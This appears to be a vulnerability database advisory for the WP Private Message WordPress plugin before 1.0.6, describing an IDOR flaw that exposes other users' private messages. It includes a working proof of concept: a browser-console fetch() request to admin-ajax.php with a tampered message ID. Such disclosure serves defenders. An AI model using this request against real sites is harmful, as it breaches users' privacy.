Lucene search

K
wpvulndbVeshraj GhimireWPVDB-ID:F915E5AC-E216-4D1C-AEC1-C3BE11E2A6DE
HistoryJan 30, 2023 - 12:00 a.m.

WP Private Message < 1.0.6 - Private Message Disclosure via IDOR

2023-01-3000:00:00
Veshraj Ghimire
wpscan.com
6
wordpress
security
idor

EPSS

0.001

Percentile

25.5%

The plugin (bundled with the Superio theme as a required plugin) does not ensure that private messages to be accessed belong to the user making the requests. This allowing any authenticated users to access private messages belonging to other users by tampering the ID.

PoC

- Install the Superio theme and its WP Private Message bundled plugin. - Create a new private message in the backend. - Log in as a different user. - Generate a nonce for the logged-in user. - From the browser console, run the following request, replacing the NONCE and MESSAGE_ID: fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=wp_private_message_choose_message&amp;nonce;=NONCE&amp;message;_id=MESSAGE_ID", "credentials": "include" }).then(response =&gt; response.text()) .then(data =&gt; console.log(data)); - See the message data.

EPSS

0.001

Percentile

25.5%

Related for WPVDB-ID:F915E5AC-E216-4D1C-AEC1-C3BE11E2A6DE